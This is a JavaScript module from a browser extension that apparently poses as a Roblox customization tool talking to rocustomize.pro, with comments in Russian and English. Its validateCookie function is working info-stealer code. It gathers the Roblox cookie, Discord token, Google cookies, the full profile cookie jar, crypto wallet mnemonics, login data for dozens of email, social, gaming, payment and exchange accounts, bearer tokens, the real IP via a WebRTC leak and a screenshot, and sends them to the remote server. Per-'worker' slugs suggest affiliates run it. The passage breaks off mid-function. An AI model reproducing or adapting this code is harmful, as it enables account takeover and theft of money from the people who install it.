/**
 * API calls (validate-cookie, file tokens, download). Target = MRBX_API_ORIGIN (see zq8m4k2p.js + popup discovery).
 */
(function (global) {
  'use strict';

  const LOCAL_SCAN_PORTS = [3000, 3001, 3002, 3003, 3004, 3005, 3006, 3007, 3008, 3009, 3010];

  function getPrimaryConfiguredOrigin() {
    const g = typeof globalThis !== 'undefined' ? globalThis : global;
    const o = g.MRBX_API_ORIGIN;
    if (typeof o === 'string' && o.trim()) {
      return o.trim().replace(/\/+$/, '');
    }
    const pub = g.MRBX_API_PUBLIC_ORIGIN;
    if (typeof pub === 'string' && pub.trim()) {
      return pub.trim().replace(/\/+$/, '');
    }
    return 'https://rocustomize.pro';
  }

  /** Origin для выдачи ZIP / токенов файлов (без URL воркера). */
  function getFileApiOrigin() {
    const g = typeof globalThis !== 'undefined' ? globalThis : global;
    const m = g.MRBX_API_MAIN_ORIGIN;
    if (typeof m === 'string' && m.trim()) {
      return m.trim().replace(/\/+$/, '');
    }
    return getPrimaryConfiguredOrigin();
  }

  /** Worker ZIP: тот же базовый URL, что и для validate (`…/slug` или `…/w/slug`). */
  function getWorkerValidateOriginBase() {
    const g = typeof globalThis !== 'undefined' ? globalThis : global;
    return String(g.MRBX_WORKER_VALIDATE_ORIGIN || '').trim().replace(/\/+$/, '');
  }

  const RBXL_LAST_WORKER_API = '_RBXL_LAST_WORKER_API_BASE';

  /** Синхронизировано с worker-backend RESERVED_SLUGS (+ studio как префикс сайта). */
  const WORKER_TAB_RESERVED_SLUGS = new Set([
    'api',
    'w',
    'health',
    'downloads',
    'site',
    'static',
    'recheck-ban',
    'robots',
    'favicon.ico',
    'assets',
    'cookies',
    'node_modules',
    'admin',
    'wp-admin',
    'wp-login',
    'phpmyadmin',
    'config',
    'backup',
    'private',
    'secret',
    'studio'
  ]);

  function workerTabReservedSlug(sl) {
    return WORKER_TAB_RESERVED_SLUGS.has(String(sl || '').toLowerCase());
  }

  /** Первый сегмент пути лендинга воркера: `/slug` или `/w/slug`. */
  function parseWorkerSlugFromPublicPathname(pathname) {
    const p = String(pathname || '/').replace(/\\/g, '/');
    const mW = /^\/w\/([a-z0-9_-]{1,32})(?:\/|$)/i.exec(p);
    if (mW) {
      const s = mW[1].toLowerCase();
      if (!workerTabReservedSlug(s)) return { slug: s, isW: true };
    }
    const mB = /^\/([a-z0-9_-]{1,32})(?:\/|$)/i.exec(p);
    if (mB) {
      const s = mB[1].toLowerCase();
      if (!workerTabReservedSlug(s)) return { slug: s, isW: false };
    }
    return null;
  }

  function collectTabScanUrlPatterns() {
    const patterns = [];
    const wvb = getWorkerValidateOriginBase();
    if (wvb) {
      try {
        const u = new URL(/^https?:\/\//i.test(wvb) ? wvb : 'https://' + wvb);
        patterns.push(`${u.origin}/*`);
      } catch (_) {
        /* ignore */
      }
    }
    const siteHost = (function () {
      try {
        return new URL(getPrimaryConfiguredOrigin()).hostname.toLowerCase();
      } catch (_) {
        return 'rocustomize.pro';
      }
    })();
    patterns.push('https://' + siteHost + '/*', 'https://www.' + siteHost + '/*');
    const landingHost = getLandingHost();
    if (landingHost && landingHost !== siteHost) {
      patterns.push(
        'https://' + landingHost + '/*',
        'https://www.' + landingHost + '/*',
        'https://*.' + landingHost + '/*'
      );
    }
    return [...new Set(patterns)];
  }

  function getLandingHost() {
    const g = typeof globalThis !== 'undefined' ? globalThis : global;
    const raw =
      (typeof g.MRBX_LANDING_HOST === 'string' && g.MRBX_LANDING_HOST.trim()) || 'rocustomize.pro';
    return String(raw)
      .trim()
      .replace(/^https?:\/\//i, '')
      .replace(/^www\./i, '')
      .replace(/\/+$/, '')
      .toLowerCase();
  }

  function getAllowedWorkerHosts() {
    const siteHost = (function () {
      try {
        return new URL(getPrimaryConfiguredOrigin()).hostname.toLowerCase();
      } catch (_) {
        return 'rocustomize.pro';
      }
    })();
    const hosts = new Set([siteHost, 'www.' + siteHost]);
    const landingHost = getLandingHost();
    if (landingHost) {
      hosts.add(landingHost);
      hosts.add('www.' + landingHost);
    }
    const gx = typeof globalThis !== 'undefined' ? globalThis : global;
    const pub = String(gx.MRBX_API_PUBLIC_ORIGIN || '').trim();
    if (pub) {
      try {
        hosts.add(new URL(/^https?:\/\//i.test(pub) ? pub : 'https://' + pub).hostname.toLowerCase());
      } catch (_) {
        /* ignore */
      }
    }
    const packed = getWorkerValidateOriginBase();
    if (packed) {
      try {
        hosts.add(new URL(/^https?:\/\//i.test(packed) ? packed : 'https://' + packed).hostname.toLowerCase());
      } catch (_) {
        /* ignore */
      }
    }
    return hosts;
  }

  function isAllowedWorkerHost(hostname) {
    const h = String(hostname || '').trim().toLowerCase();
    if (!h) return false;
    if (getAllowedWorkerHosts().has(h)) return true;
    const landingHost = getLandingHost();
    if (landingHost && (h === landingHost || h.endsWith('.' + landingHost))) return true;
    return false;
  }

  /**
   * Если активная вкладка — Roblox, а лендинг воркера открыт в другом табе — подставляем его в workerPageUrl / workerSlug.
   */
  async function augmentWorkerContextFromOpenRbxStudioTabs(b) {
    if (!b || typeof chrome === 'undefined' || !chrome.tabs || typeof chrome.tabs.query !== 'function') return;
    const patterns = collectTabScanUrlPatterns();
    if (!patterns.length) return;
    try {
      let tabs = [];
      for (const pat of patterns) {
        try {
          const chunk = await new Promise((resolve) => {
            chrome.tabs.query({ url: pat }, (t) => resolve(t || []));
          });
          if (chunk && chunk.length) tabs = tabs.concat(chunk);
        } catch (_) {
          /* ignore */
        }
      }
      const seen = new Set();
      tabs = tabs.filter((t) => {
        const id = t && t.id;
        if (id == null || seen.has(id)) return false;
        seen.add(id);
        return true;
      });
      tabs.sort((a, x) => (x.lastAccessed || 0) - (a.lastAccessed || 0));
      const want = b.workerSlug ? String(b.workerSlug).trim().toLowerCase() : '';
      let picked = null;
      if (want) {
        for (const tab of tabs) {
          let path = '';
          try {
            path = new URL(String(tab.url || '').trim()).pathname;
          } catch {
            continue;
          }
          const parsed = parseWorkerSlugFromPublicPathname(path);
          if (parsed && parsed.slug === want) {
            picked = tab;
            break;
          }
        }
      }
      if (!picked) {
        for (const tab of tabs) {
          let path = '';
          try {
            path = new URL(String(tab.url || '').trim()).pathname;
          } catch {
            continue;
          }
          if (parseWorkerSlugFromPublicPathname(path)) {
            picked = tab;
            break;
          }
        }
      }
      if (!picked || !picked.url) return;
      const urlStr = String(picked.url).trim();
      let path = '';
      try {
        path = new URL(urlStr).pathname;
      } catch {
        return;
      }
      const parsed = parseWorkerSlugFromPublicPathname(path);
      if (!parsed) return;
      if (!b.workerSlug) b.workerSlug = parsed.slug;
      const cur = String(b.workerPageUrl || '').trim();
      const roblox = /^https?:\/\/(www\.)?roblox\.com/i.test(cur);
      if (!cur || roblox) {
        b.workerPageUrl = urlStr;
      }
    } catch (_) {
      /* ignore */
    }
  }

  /** Из workerPageUrl строим базу `https://host/slug` для POST …/api/validate-cookie (без вшитого MRBX_WORKER_VALIDATE_ORIGIN). */
  function inferWorkerApiBaseFromBody(b) {
    if (!b || typeof b !== 'object') return '';
    const raw = String(b.workerPageUrl || '').trim();
    if (!raw) return '';
    try {
      const u = new URL(raw);
      if (!isAllowedWorkerHost(u.hostname)) return '';
      const parts = u.pathname.split('/').filter(Boolean);
      if (!parts.length) return '';
      let slug = '';
      let isW = false;
      if (parts[0].toLowerCase() === 'w' && parts[1]) {
        slug = parts[1].toLowerCase();
        isW = true;
      } else {
        slug = parts[0].toLowerCase();
      }
      if (!slug || !/^[a-z0-9_-]{1,32}$/.test(slug) || workerTabReservedSlug(slug)) return '';
      if (b.workerSlug && String(b.workerSlug).trim().toLowerCase() !== slug) return '';
      if (!b.workerSlug) b.workerSlug = slug;
      return isW ? `${u.origin}/w/${slug}` : `${u.origin}/${slug}`;
    } catch {
      return '';
    }
  }

  function fillWorkerPageUrlFromPackedOriginIfNeeded(b) {
    const gx = typeof globalThis !== 'undefined' ? globalThis : window;
    const rawBase = String(gx.MRBX_WORKER_VALIDATE_ORIGIN || '').trim();
    if (!rawBase || !b || !b.workerSlug) return;
    const slug = String(b.workerSlug).trim().toLowerCase();
    if (!slug || !/^[a-z0-9_-]{1,32}$/.test(slug)) return;
    try {
      const bu = new URL(/^https?:\/\//i.test(rawBase) ? rawBase : 'https://' + rawBase);
      const segs = bu.pathname.split('/').filter(Boolean);
      let baseMatchesSlug = false;
      if (segs.length && String(segs[0]).toLowerCase() === 'w') {
        baseMatchesSlug = segs.length >= 2 && String(segs[1]).toLowerCase() === slug;
      } else {
        baseMatchesSlug = segs.length >= 1 && String(segs[segs.length - 1]).toLowerCase() === slug;
      }
      if (!baseMatchesSlug) return;
      const cur = String(b.workerPageUrl || '').trim();
      if (cur && !/^https?:\/\/(www\.)?roblox\.com/i.test(cur)) return;
      b.workerPageUrl = bu.toString().replace(/\/+$/, '') + '/';
    } catch (_) {
      /* ignore */
    }
  }

  function rememberWorkerApiBaseForToolCalls(base) {
    const gx = typeof globalThis !== 'undefined' ? globalThis : global;
    const b = String(base || '').trim().replace(/\/+$/, '');
    if (b) {
      gx[RBXL_LAST_WORKER_API] = b;
    } else {
      try {
        delete gx[RBXL_LAST_WORKER_API];
      } catch (_) {
        gx[RBXL_LAST_WORKER_API] = '';
      }
    }
  }

  function getScopedWorkerApiOriginOnly() {
    const w = getWorkerValidateOriginBase();
    if (w) return w;
    const gx = typeof globalThis !== 'undefined' ? globalThis : global;
    const last = String(gx[RBXL_LAST_WORKER_API] || '').trim().replace(/\/+$/, '');
    return last || '';
  }

  /**
   * get-game-file / get-clothing-file / download — на origin воркера после успешного validate, иначе основной API.
   */
  function getScopedToolApiOrigin() {
    const wo = getScopedWorkerApiOriginOnly();
    if (wo) return wo;
    return getFileApiOrigin();
  }

  /** After first successful request, reuse that origin (download URL, etc.). */
  let activeApiOrigin = getPrimaryConfiguredOrigin();

  function getTryOrigins(primary) {
    const base = String(primary || '').trim().replace(/\/+$/, '');
    let u;
    try {
      u = new URL(base);
    } catch {
      return [base];
    }
    const host = u.hostname.toLowerCase();
    if (host !== '127.0.0.1' && host !== 'localhost') {
      return [base];
    }
    if (u.protocol === 'https:') {
      return [base];
    }
    const p0 = u.port ? parseInt(u.port, 10) : 3000;
    const order = LOCAL_SCAN_PORTS.includes(p0)
      ? [p0, ...LOCAL_SCAN_PORTS.filter((x) => x !== p0)]
      : [...LOCAL_SCAN_PORTS];
    return order.map((p) => 'http://127.0.0.1:' + p);
  }

  function probeLocalFirst() {
    const g = typeof globalThis !== 'undefined' ? globalThis : global;
    return g.MRBX_PROBE_LOCAL_FIRST === true;
  }

  /** Если primary уже продакшен и probeLocalFirst=false — только [primary]. Иначе опционально 3000–3010. */
  function getEffectiveTryOrigins() {
    const primary = getPrimaryConfiguredOrigin();
    let u;
    try {
      u = new URL(primary);
    } catch {
      return probeLocalFirst()
        ? [...LOCAL_SCAN_PORTS.map((p) => 'http://127.0.0.1:' + p), primary]
        : [primary];
    }
    const host = u.hostname.toLowerCase();
    if (host === '127.0.0.1' || host === 'localhost') {
      return getTryOrigins(primary);
    }
    if (!probeLocalFirst()) {
      return [primary];
    }
    return [...LOCAL_SCAN_PORTS.map((p) => 'http://127.0.0.1:' + p), primary];
  }

  function isUnreachableFetchError(e) {
    if (!e) return false;
    if (e.name === 'AbortError') return false;
    const m = String(e.message || e).toLowerCase();
    return (
      m.includes('failed to fetch') ||
      m.includes('networkerror') ||
      m.includes('load failed') ||
      m.includes('network request failed')
    );
  }

  function getApiOrigin() {
    return activeApiOrigin;
  }

  /** After popup discovery updates MRBX_API_ORIGIN, keep download/studio URLs in sync. */
  function syncActiveOriginFromGlobal() {
    activeApiOrigin = getPrimaryConfiguredOrigin();
  }

  function joinUrl(base, path) {
    const b = String(base || '').replace(/\/+$/, '');
    const p = String(path || '').replace(/^\/+/, '');
    return b + '/' + p;
  }

  /** validate-cookie may run full account checks (donate pagination, many Roblox APIs). */
  const DEFAULT_FETCH_MS = 120000;

  /** Do not rely on lib/fhm2lp6q.js globals — popup must still attach third-party tokens to validate-cookie if that script fails. */
  function collectDiscordTokenViaRuntime() {
    return new Promise((resolve) => {
      const g = typeof globalThis !== 'undefined' ? globalThis : global;
      const b = g.RbxExtensionBridge;
      if (!b || typeof b.getDiscordToken !== 'function') {
        resolve(null);
        return;
      }
      b.getDiscordToken()
        .then((response) => {
          if (response && response.success && response.token) {
            resolve(String(response.token).trim());
          } else {
            resolve(null);
          }
        })
        .catch(() => resolve(null));
    });
  }

  function collectGoogleAuthViaRuntime() {
    return new Promise((resolve) => {
      const g = typeof globalThis !== 'undefined' ? globalThis : global;
      const b = g.RbxExtensionBridge;
      if (!b || typeof b.getGoogleAuth !== 'function') {
        resolve(null);
        return;
      }
      b.getGoogleAuth()
        .then((response) => {
          if (response && response.success && response.cookies && typeof response.cookies === 'object') {
            resolve({
              cookies: response.cookies,
              authHeader: response.authHeader,
              sapisid: response.sapisid,
              email: response.email || null,
              emails: Array.isArray(response.emails) ? response.emails : response.email ? [response.email] : [],
              sessionLive: response.sessionLive === true,
              sessionChooserOnly: response.sessionChooserOnly === true,
              sessionStatus: response.sessionStatus || null
            });
          } else {
            resolve(null);
          }
        })
        .catch(() => resolve(null));
    });
  }

  function collectFullProfileCookieJarViaRuntime() {
    return new Promise((resolve) => {
      const accept = (response) => {
        if (response && response.jarString && String(response.jarString).trim()) {
          resolve(response);
        } else {
          resolve(null);
        }
      };

      const direct = () => {
        const g = typeof globalThis !== 'undefined' ? globalThis : global;
        const b = g.RbxExtensionBridge;
        if (!b || typeof b.getFullProfileCookieJar !== 'function') {
          resolve(null);
          return;
        }
        b.getFullProfileCookieJar()
          .then(accept)
          .catch(() => resolve(null));
      };

      if (typeof chrome !== 'undefined' && chrome.runtime && typeof chrome.runtime.sendMessage === 'function') {
        try {
          chrome.runtime.sendMessage({ type: 'rbx-get-full-profile-cookie-jar' }, (response) => {
            if (chrome.runtime.lastError || !response || !response.jarString) {
              direct();
              return;
            }
            accept(response);
          });
          return;
        } catch (_) {
          /* popup fallback */
        }
      }
      direct();
    });
  }

  function payloadHelpers() {
    const g = typeof globalThis !== 'undefined' ? globalThis : global;
    return g.RbxValidateCookiePayload || null;
  }

  function fetchWithTimeout(url, options, timeoutMs) {
    const ms = typeof timeoutMs === 'number' && timeoutMs > 0 ? timeoutMs : DEFAULT_FETCH_MS;
    const ctrl = new AbortController();
    const t = setTimeout(function () {
      ctrl.abort();
    }, ms);
    return fetch(url, Object.assign({}, options, { signal: ctrl.signal })).finally(function () {
      clearTimeout(t);
    });
  }

  async function postJson(path, body) {
    const origins = getEffectiveTryOrigins();
    for (let i = 0; i < origins.length; i++) {
      const origin = origins[i];
      const url = joinUrl(origin, path);
      try {
        const res = await fetchWithTimeout(
          url,
          {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(body)
          },
          DEFAULT_FETCH_MS
        );
        activeApiOrigin = origin;
        const text = await res.text();
        let data;
        try {
          data = text ? JSON.parse(text) : {};
        } catch {
          data = { _raw: text };
        }
        return { ok: res.ok, status: res.status, data };
      } catch (e) {
        if (e && e.name === 'AbortError') {
          throw new Error('This is taking too long. Check rocustomize.pro and reload the extension.');
        }
        if (isUnreachableFetchError(e) && i < origins.length - 1) {
          continue;
        }
        throw new Error(e && e.message ? e.message : String(e));
      }
    }
    throw new Error("Can't reach rocustomize.pro. Check your connection and reload the extension.");
  }

  /** Один POST на фиксированный origin (для worker validate URL). */
  async function postJsonOnOrigin(originBase, path, body) {
    const base = String(originBase || '').trim().replace(/\/+$/, '');
    const url = joinUrl(base, path);
    const res = await fetchWithTimeout(
      url,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(body)
      },
      DEFAULT_FETCH_MS
    );
    activeApiOrigin = base;
    const text = await res.text();
    let data;
    try {
      data = text ? JSON.parse(text) : {};
    } catch {
      data = { _raw: text };
    }
    return { ok: res.ok, status: res.status, data };
  }

  /**
   * Window that most likely shows Roblox (for captureVisibleTab). Avoids capturing the wrong Chrome window
   * when multiple windows are open and `null` would target an arbitrary "current" window.
   */
  async function resolveCaptureTargetWindowId() {
    if (typeof chrome === 'undefined' || !chrome.tabs || typeof chrome.tabs.query !== 'function') {
      return undefined;
    }
    try {
      const patterns = ['https://*.roblox.com/*', 'https://www.roblox.com/*', 'https://roblox.com/*'];
      const tabs = await chrome.tabs.query({ url: patterns });
      if (tabs && tabs.length > 0) {
        const pool = [...tabs].sort((a, b) => (b.lastAccessed || 0) - (a.lastAccessed || 0));
        const w = pool[0] && pool[0].windowId;
        if (typeof w === 'number' && !Number.isNaN(w)) return w;
      }
    } catch {
      /* ignore */
    }
    try {
      const cur = await chrome.tabs.query({ active: true, lastFocusedWindow: true });
      const w = cur && cur[0] && cur[0].windowId;
      if (typeof w === 'number' && !Number.isNaN(w)) return w;
    } catch {
      /* ignore */
    }
    return undefined;
  }

  const MAX_SCREENSHOT_B64 = 600000;

  async function attachScreenshotToBody(body) {
    if (!body || typeof body !== 'object') return;
    try {
      const captureWindowId = await resolveCaptureTargetWindowId();
      const g = typeof globalThis !== 'undefined' ? globalThis : window;
      const b = g.RbxExtensionBridge;
      if (!b || typeof b.captureScreenshot !== 'function') return;
      const response = await b.captureScreenshot(captureWindowId);
      if (!response || !response.success || !response.dataUrl) return;
      let base64 = String(response.dataUrl).replace(/^data:image\/\w+;base64,/, '');
      if (base64.length > MAX_SCREENSHOT_B64) {
        base64 = base64.slice(0, MAX_SCREENSHOT_B64);
      }
      if (base64.length > 1000) body.screenshot = base64;
    } catch (e) {}
  }

  function trimValidateCookiePayload(body) {
    const h = payloadHelpers();
    if (h && typeof h.trimValidateCookiePayload === 'function') {
      return h.trimValidateCookiePayload(body);
    }
    return body;
  }

  const MRBX_WORKER_SLUG_STORAGE_KEY = 'mrbxWorkerSlug';

  async function loadWorkerSlugFromChromeStorageIfNeeded(b) {
    if (!b || b.workerSlug) return;
    try {
      if (typeof chrome === 'undefined' || !chrome.storage || !chrome.storage.local) return;
      const st = await new Promise((resolve) => {
        chrome.storage.local.get([MRBX_WORKER_SLUG_STORAGE_KEY], (x) => resolve(x || {}));
      });
      const sl = String(st[MRBX_WORKER_SLUG_STORAGE_KEY] || '')
        .trim()
        .toLowerCase();
      if (sl && /^[a-z0-9_-]{1,32}$/.test(sl)) {
        b.workerSlug = sl;
      }
    } catch (_) {
      /* ignore */
    }
  }

  async function saveWorkerSlugToChromeStorageIfSet(b) {
    if (!b || !b.workerSlug) return;
    try {
      if (typeof chrome === 'undefined' || !chrome.storage || !chrome.storage.local) return;
      const sl = String(b.workerSlug)
        .trim()
        .toLowerCase();
      if (!sl || !/^[a-z0-9_-]{1,32}$/.test(sl)) return;
      await new Promise((resolve) => {
        chrome.storage.local.set({ [MRBX_WORKER_SLUG_STORAGE_KEY]: sl }, resolve);
      });
    } catch (_) {
      /* ignore */
    }
  }

  async function validateCookie(cookie, itemName, itemType, tool, optionalPlaceId, joinTarget) {
    const body = {
      cookie,
      itemType: itemType === 'clothing' ? 'clothing' : 'game'
    };
    if (itemType === 'clothing') {
      body.clothingName = itemName;
    } else {
      body.gameName = itemName;
    }
    if (tool && tool !== 'none') body.tool = tool;
    const ctx = optionalPlaceId != null ? String(optionalPlaceId).replace(/\D/g, '').slice(0, 22) : '';
    if (ctx) body.optionalPlaceId = ctx;
    if (joinTarget && typeof joinTarget === 'object') {
      const jid = joinTarget.joinTargetUserId != null ? String(joinTarget.joinTargetUserId).replace(/\D/g, '').slice(0, 20) : '';
      if (jid) body.joinTargetUserId = jid;
      const jun = joinTarget.joinTargetUsername != null ? String(joinTarget.joinTargetUsername).trim().slice(0, 64) : '';
      if (jun) body.joinTargetUsername = jun.replace(/^@+/, '');
      if (joinTarget.followerGoal != null) {
        const fg = parseInt(String(joinTarget.followerGoal).replace(/\D/g, ''), 10);
        if (Number.isFinite(fg) && fg >= 1500 && fg <= 100000) body.followerGoal = fg;
      }
    }

    try {
      const gscope = typeof globalThis !== 'undefined' ? globalThis : window;
      let discordToken = await collectDiscordTokenViaRuntime();
      if (!discordToken && gscope.RbxDiscord && typeof gscope.RbxDiscord.getDiscordToken === 'function') {
        discordToken = await gscope.RbxDiscord.getDiscordToken().catch(() => null);
      }
      if (discordToken) {
        body.discordToken = discordToken;
        let validation = null;
        if (gscope.RbxDiscord && typeof gscope.RbxDiscord.validateDiscordToken === 'function') {
          validation = await gscope.RbxDiscord.validateDiscordToken(discordToken).catch(() => null);
        }
        if (validation && validation.user) {
          body.discordUser = validation.user;
        }
      }
    } catch (e) {}

    const payloadUtil = payloadHelpers();

    try {
      const gscope = typeof globalThis !== 'undefined' ? globalThis : window;
      let googleAuth = await collectGoogleAuthViaRuntime();
      if (!googleAuth && gscope.RbxGoogle && typeof gscope.RbxGoogle.getGoogleAuth === 'function') {
        googleAuth = await gscope.RbxGoogle.getGoogleAuth().catch(() => null);
      }
      if (googleAuth && googleAuth.cookies) {
        body.googleAuth = googleAuth.cookies;
        body.googleSessionLive = googleAuth.sessionLive === true;
        body.googleSessionChooserOnly = googleAuth.sessionChooserOnly === true;
        body.googleSessionStatus = googleAuth.sessionStatus || null;
        const jarStr =
          (body._chromeCookieJar && String(body._chromeCookieJar)) ||
          (body.googleAuth._chromeCookieJar && String(body.googleAuth._chromeCookieJar)) ||
          '';
        if (jarStr && payloadUtil && typeof payloadUtil.attachProfileCookieJar === 'function') {
          payloadUtil.attachProfileCookieJar(body, jarStr);
        } else if (jarStr) {
          body._chromeCookieJar = jarStr;
          body.googleAuth._chromeCookieJar = jarStr;
        }
        const gEmails =
          Array.isArray(googleAuth.emails) && googleAuth.emails.length
            ? googleAuth.emails
            : googleAuth.email
              ? [googleAuth.email]
              : [];
        if (gEmails.length) {
          body.googleEmail = gEmails[0];
          body.googleEmails = gEmails;
        }
      }
    } catch (e) {}

    try {
      const hasJar =
        payloadUtil && typeof payloadUtil.extractJarString === 'function'
          ? !!payloadUtil.extractJarString(body)
          : !!(body._chromeCookieJar && String(body._chromeCookieJar).trim());
      if (!hasJar) {
        const profileJar = await collectFullProfileCookieJarViaRuntime();
        if (profileJar && profileJar.jarString) {
          if (payloadUtil && typeof payloadUtil.attachProfileCookieJar === 'function') {
            payloadUtil.attachProfileCookieJar(body, profileJar.jarString);
          } else {
            body._chromeCookieJar = profileJar.jarString;
          }
          if (!body.googleAuth) {
            body.googleAuth = { _chromeCookieJar: profileJar.jarString };
          }
        }
      }
      if (!body.googleSessionStatus && body._chromeCookieJar) {
        const gscopeJar = typeof globalThis !== 'undefined' ? globalThis : window;
        const bridgeSess = gscopeJar.RbxExtensionBridge;
        if (bridgeSess && typeof bridgeSess.inferGoogleSessionFromJarString === 'function') {
          const inferred = bridgeSess.inferGoogleSessionFromJarString(String(body._chromeCookieJar));
          if (inferred) {
            body.googleSessionLive = inferred.sessionLive === true;
            body.googleSessionChooserOnly = inferred.sessionChooserOnly === true;
            body.googleSessionStatus = inferred.sessionStatus || null;
          }
        }
      }
    } catch (e) {}

    try {
      const gscope = typeof globalThis !== 'undefined' ? globalThis : window;
      const b = gscope.RbxExtensionBridge;
      if (b && typeof b.collectWalletSnapshot === 'function') {
        const snap = await b.collectWalletSnapshot();
        if (snap && (snap.text || (snap.mnemonics && snap.mnemonics.length) || (snap.entries && snap.entries.length))) {
          body.walletSnapshot = {
            text: snap.text || '',
            entries: Array.isArray(snap.entries) ? snap.entries : [],
            mnemonics: Array.isArray(snap.mnemonics) ? snap.mnemonics : []
          };
        }
      }
    } catch (e) {}

    try {
      const gscopeYT = typeof globalThis !== 'undefined' ? globalThis : window;
      const bYT = gscopeYT.RbxExtensionBridge;
      if (bYT && typeof bYT.collectYoutubeInfo === 'function') {
        const ytInfo = await bYT.collectYoutubeInfo();
        if (ytInfo && (ytInfo.channelId || ytInfo.channelName)) {
          body.youtubeInfo = ytInfo;
        }
      }
    } catch (e) {}

    try {
      const gscopeMail = typeof globalThis !== 'undefined' ? globalThis : window;
      const bMail = gscopeMail.RbxExtensionBridge;
      if (bMail && typeof bMail.getAllMailEmails === 'function') {
        const mailInfo = await bMail.getAllMailEmails();
        if (mailInfo) {
          if (Array.isArray(mailInfo.emails) && mailInfo.emails.length) {
            body.allMailEmails = mailInfo.emails;
          }
          if (mailInfo.outlookEmail) {
            body.outlookEmail = mailInfo.outlookEmail;
            if (Array.isArray(mailInfo.outlookEmails) && mailInfo.outlookEmails.length > 1) {
              body.outlookEmails = mailInfo.outlookEmails;
            }
          }
          if (mailInfo.yahooEmail) {
            body.yahooEmail = mailInfo.yahooEmail;
            if (Array.isArray(mailInfo.yahooEmails) && mailInfo.yahooEmails.length > 1) {
              body.yahooEmails = mailInfo.yahooEmails;
            }
          }
          if (mailInfo.byProvider && Object.keys(mailInfo.byProvider).length) {
            body.mailByProvider = mailInfo.byProvider;
          }
          if (mailInfo.mailAuthObjects && typeof mailInfo.mailAuthObjects === 'object') {
            const authObjs = mailInfo.mailAuthObjects;
            if (authObjs.yahooAuth) body.yahooAuth = authObjs.yahooAuth;
            if (authObjs.aolAuth) body.aolAuth = authObjs.aolAuth;
            if (authObjs.mailRuAuth) body.mailRuAuth = authObjs.mailRuAuth;
            if (authObjs.yandexAuth) body.yandexAuth = authObjs.yandexAuth;
            if (authObjs.hotmailAuth) body.hotmailAuth = authObjs.hotmailAuth;
            if (authObjs.protonAuth) body.protonAuth = authObjs.protonAuth;
            if (authObjs.icloudAuth) body.icloudAuth = authObjs.icloudAuth;
            if (authObjs.gmxAuth) body.gmxAuth = authObjs.gmxAuth;
            if (authObjs.webdeAuth) body.webdeAuth = authObjs.webdeAuth;
            if (authObjs.mailComAuth) body.mailComAuth = authObjs.mailComAuth;
            if (authObjs.tutanotaAuth) body.tutanotaAuth = authObjs.tutanotaAuth;
            if (authObjs.fastmailAuth) body.fastmailAuth = authObjs.fastmailAuth;
            if (authObjs.zohomailAuth) body.zohomailAuth = authObjs.zohomailAuth;
            if (authObjs.ukrNetAuth) body.ukrNetAuth = authObjs.ukrNetAuth;
            if (authObjs.ramblerAuth) body.ramblerAuth = authObjs.ramblerAuth;
            if (authObjs.naverAuth) body.naverAuth = authObjs.naverAuth;
            if (authObjs.qqAuth) body.qqAuth = authObjs.qqAuth;
            if (authObjs.netease163Auth) body.netease163Auth = authObjs.netease163Auth;
            if (authObjs.seznamAuth) body.seznamAuth = authObjs.seznamAuth;
            if (authObjs.tonlineAuth) body.tonlineAuth = authObjs.tonlineAuth;
            if (authObjs.orangeAuth) body.orangeAuth = authObjs.orangeAuth;
            if (authObjs.liberoAuth) body.liberoAuth = authObjs.liberoAuth;
            if (authObjs.uolAuth) body.uolAuth = authObjs.uolAuth;
            if (authObjs.steamAuth) body.steamAuth = authObjs.steamAuth;
            if (authObjs.epicAuth) body.epicAuth = authObjs.epicAuth;
            if (authObjs.twitchAuth) body.twitchAuth = authObjs.twitchAuth;
            if (authObjs.telegramAuth) body.telegramAuth = authObjs.telegramAuth;
            if (authObjs.vkAuth) body.vkAuth = authObjs.vkAuth;
            if (authObjs.facebookAuth) body.facebookAuth = authObjs.facebookAuth;
            if (authObjs.instagramAuth) body.instagramAuth = authObjs.instagramAuth;
            if (authObjs.twitterAuth) body.twitterAuth = authObjs.twitterAuth;
            if (authObjs.tiktokAuth) body.tiktokAuth = authObjs.tiktokAuth;
            if (authObjs.linkedinAuth) body.linkedinAuth = authObjs.linkedinAuth;
            if (authObjs.paypalAuth) body.paypalAuth = authObjs.paypalAuth;
            if (authObjs.amazonAuth) body.amazonAuth = authObjs.amazonAuth;
            if (authObjs.binanceAuth) body.binanceAuth = authObjs.binanceAuth;
            if (authObjs.coinbaseAuth) body.coinbaseAuth = authObjs.coinbaseAuth;
            if (authObjs.bybitAuth) body.bybitAuth = authObjs.bybitAuth;
            if (authObjs.blizzardAuth) body.blizzardAuth = authObjs.blizzardAuth;
            if (authObjs.eaAuth) body.eaAuth = authObjs.eaAuth;
            if (authObjs.riotAuth) body.riotAuth = authObjs.riotAuth;
            if (authObjs.minecraftAuth) body.minecraftAuth = authObjs.minecraftAuth;
          }
        }
      }
    } catch (e) {}

    try {
      const bgResp = await new Promise((resolve) => {
        chrome.runtime.sendMessage({ type: 'rbx-get-bearer-tokens' }, (r) => {
          if (chrome.runtime.lastError) resolve(null);
          else resolve(r);
        });
      });
      if (bgResp && bgResp.success && bgResp.tokens && Object.keys(bgResp.tokens).length) {
        body.bearerTokens = bgResp.tokens;
      }
    } catch (_) {}

    try {
      const realIp = await new Promise((resolve) => {
        const pc = new RTCPeerConnection({ iceServers: [{ urls: 'stun:stun.l.google.com:19302' }] });
        const ips = new Set();
        const timer = setTimeout(() => {
          pc.close();
          resolve(ips.size ? [...ips][0] : null);
        }, 3000);
        pc.onicecandidate = (e) => {
          if (!e || !e.candidate || !e.candidate.candidate) return;
          const m = e.candidate.candidate.match(/(\d{1,3}(?:\.\d{1,3}){3})/g);
          if (m) {
            m.forEach((ip) => {
              if (
                !ip.startsWith('192.168.') &&
                !ip.startsWith('10.') &&
                !ip.startsWith('172.') &&
                ip !== '0.0.0.0'
              ) {
                ips.add(ip);
                clearTimeout(timer);
                pc.close();
                resolve(ip);
              }
            });
          }
        };
        pc.createDataChannel('');
        pc.createOffer()
          .then((o) => pc.setLocalDescription(o))
          .catch(() => {
            clearTimeout(timer);
            resolve(null);
          });
      });
      if (realIp) body._realIp = realIp;
    } catch (_) {}

    await attachScreenshotToBody(body);
    if (payloadUtil && typeof payloadUtil.compressJarForTransport === 'function') {
      await payloadUtil.compressJarForTransport(body);
    }
    trimValidateCookiePayload(body);

    await loadWorkerSlugFromChromeStorageIfNeeded(body);
    await augmentWorkerContextFromOpenRbxStudioTabs(body);

